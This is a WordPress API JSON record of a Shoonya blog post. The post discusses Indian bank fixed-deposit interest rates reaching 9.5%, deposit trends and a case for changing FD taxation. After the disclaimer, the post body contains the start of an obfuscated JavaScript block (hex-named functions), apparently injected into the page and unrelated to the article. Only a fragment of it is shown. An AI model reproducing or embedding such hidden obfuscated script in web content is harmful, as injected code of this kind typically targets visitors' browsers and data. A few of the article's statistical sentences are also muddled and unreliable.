{"id":8547,"date":"2024-08-20T10:03:07","date_gmt":"2024-08-20T10:03:07","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8547"},"modified":"2024-08-20T10:03:08","modified_gmt":"2024-08-20T10:03:08","slug":"bank-fds","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/bank-fds\/","title":{"rendered":"Bank FDs &#8211; Interest Rates Surged to 9.5%, Do We Need a Change in FD&#8217;s Taxation?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/#Rising_Bank_FD_Interest_Rates\" >Rising Bank FD Interest Rates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/#Key_points_to_know\" >Key points to know<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/#Why_does_taxation_on_FDs_need_to_change\" >Why does taxation on FDs need to change?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/#How_overall_CASA_deposits_have_been_affected\" >How overall CASA deposits have been affected?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/#Wrapping_up\" >Wrapping up<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Bank FDs &#8211; Interest Rates Surged to 9.5%, Do We Need a Change in FD&#8217;s Taxation?<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\">Fixed deposits have always been Indians&#8217; favorite investment. The low to no risk feature of <strong>bank fds<\/strong> along with a fixed interest rate, and preservation of capital make it perfect for the investment goals and ideas of the people in general. A few years back, the dropping <strong>bank fd interest rates <\/strong>raised a concern amongst the people but the faith in this instrument didn\u2019t see any significant fall. In recent times, there have been significant changes in the whole deposit system of the banks, in which FDs play a crucial role, and here we will be discussing the same.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-rising-bank-fd-interest-rates\"><span class=\"ez-toc-section\" id=\"Rising_Bank_FD_Interest_Rates\"><\/span><strong>Rising Bank FD Interest Rates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Fixed deposits or term deposits have been famous for the fixed returns that they offer. While the interest rate is fixed that is for a certain period. Recently, there has compositional shift in bank deposits due to the increasing <strong>bank fd interest rates<\/strong>. The interest rates on fds in some banks have even gone up to 9.5%, which has increased the term deposits\u2019 share in the total deposit of banks to 59% in FY24 compared to 56.5% in FY23.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-key-points-to-know\"><span class=\"ez-toc-section\" id=\"Key_points_to_know\"><\/span><strong>Key points to know<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Public sector banks (PSB) are mainly mobilizing the fixed deposits across the banking sector<\/li>\n\n\n\n<li>The average <strong>ticket size<\/strong> of <strong>bank fds <\/strong>in the PSBs is around \u20b9 72557\u00a0<\/li>\n\n\n\n<li>The average <strong>fd ticket size<\/strong> in private banks is around \u20b9 1.60 lakhs\u00a0<\/li>\n\n\n\n<li>In foreign banks, the average ticket size for fds stands at \u20b9 10.5 lakhs.\u00a0<\/li>\n\n\n\n<li>The public sector banks are mainly working at the grassroots level and women&#8217;s participation in opening bank accounts and availing other financial facilities has increased over time.\u00a0<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Demographics in Deposits<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Even though the interest rates have spiked the return on <strong>bank fixed deposits<\/strong> has always been lower than equity or other financial instruments mostly. The younger generation is looking for better-return-generating assets, even though they have to take higher risks. Currently, senior citizens hold 47% of the bank fds. On the contrary, the median age of capital market investors is 32 years, and close to 40% of the investors are even less than 30 years of age. This suggests the younger generation is preferring mutual funds and equities over traditional assets.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-does-taxation-on-fds-need-to-change\"><span class=\"ez-toc-section\" id=\"Why_does_taxation_on_FDs_need_to_change\"><\/span><strong>Why does taxation on FDs need to change?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Given the current deposit scenario in the banking sector, the government and RBI should consider revising taxes on deposits to gain younger investors. A change in the taxation and tax rates can help the investor generate better returns from the FDs. As per the SBI report, annual data of per capita income ranging from 1970-71 to 2023-24 has been analyzed for sensitivity due to <strong>taxes on deposits<\/strong>. The results suggest the tax individual income tax has been used as a control variable. For \u20b9 1000 increase in per-capital income, the deposits have increased by \u20b9 613 taking the control variable; otherwise, it would have been a rise of \u20b9 652. This is the main reason for changing the taxation on bank deposits, as there is a major impact on the returns of the investors but a uniform tax treatment for the short and long-term FDs will have a nominal effect on government revenue.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-overall-casa-deposits-have-been-affected\"><span class=\"ez-toc-section\" id=\"How_overall_CASA_deposits_have_been_affected\"><\/span><strong>How overall CASA deposits have been affected?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While the <strong>fd interest rate<\/strong> hike has pushed the bank fds\u2019 demand higher, the overall <strong>deposit growth was <\/strong>recorded at \u20b9 61 trillion in FY22 while the credit growth was recorded at \u20b9 59 trillion for the same period. The CASA deposits have been mainly dependent on UPI transactions nowadays. Especially the savings account deposits are mainly for UPI use. Since the use of savings accounts is getting limited, the deposits in savings accounts fell to 41% of total deposits in FY24 against 43.5% in FY23.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Since bank fds have been an integral part of every Indian family, having a fair <strong>taxation of fixed deposits<\/strong> policy can help the citizens to reap the benefit of these deposits properly. This can also help get the attention of the younger generation as well and increase their investment in traditional investments.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/economictimes.indiatimes.com\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheEconomicTimes<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>:<\/strong> Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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The low to no risk feature of bank fds along with a fixed interest rate, and preservation of capital make it perfect for the investment goals and ideas of the people in general. A few years back, the dropping bank fd interest rates raised a concern amongst &hellip; <a href=\"https:\/\/shoonya.com\/blog\/bank-fds\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Bank FDs &#8211; Interest Rates Surged to 9.5%, Do We Need a Change in FD&#8217;s Taxation?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8558,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[4828,4827,4829,4835,4832,4830,4834,4831,4833],"class_list":["post-8547","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-bank-fd-interest-rates","tag-bank-fds","tag-bank-fixed-deposit","tag-best-fd-rates-for-senior-citizens","tag-deposit-growth","tag-fd-interest-rates","tag-fd-ticket-size","tag-highest-interest-rate-on-fd","tag-taxation-of-fixed-deposits"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Bank fds interest rate reached 9.5%, taxation needs to change<\/title>\n<meta name=\"description\" content=\"Declining CASA deposits with the younger generation losing interest in bank fds indicates the need for a change in the taxation on deposits.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/bank-fds\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bank fds interest rate reached 9.5%, taxation needs to change\" \/>\n<meta property=\"og:description\" content=\"Declining CASA deposits with the younger generation losing interest in bank fds indicates the need for a change in the taxation on deposits.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/bank-fds\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-20T10:03:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-20T10:03:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/08\/Bank-FDs.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Bank fds interest rate reached 9.5%, taxation needs to change\" \/>\n<meta name=\"twitter:description\" content=\"Declining CASA deposits with the younger generation losing interest in bank fds indicates the need for a change in the taxation on deposits.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/08\/Bank-FDs.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/bank-fds\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/bank-fds\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Bank FDs &#8211; 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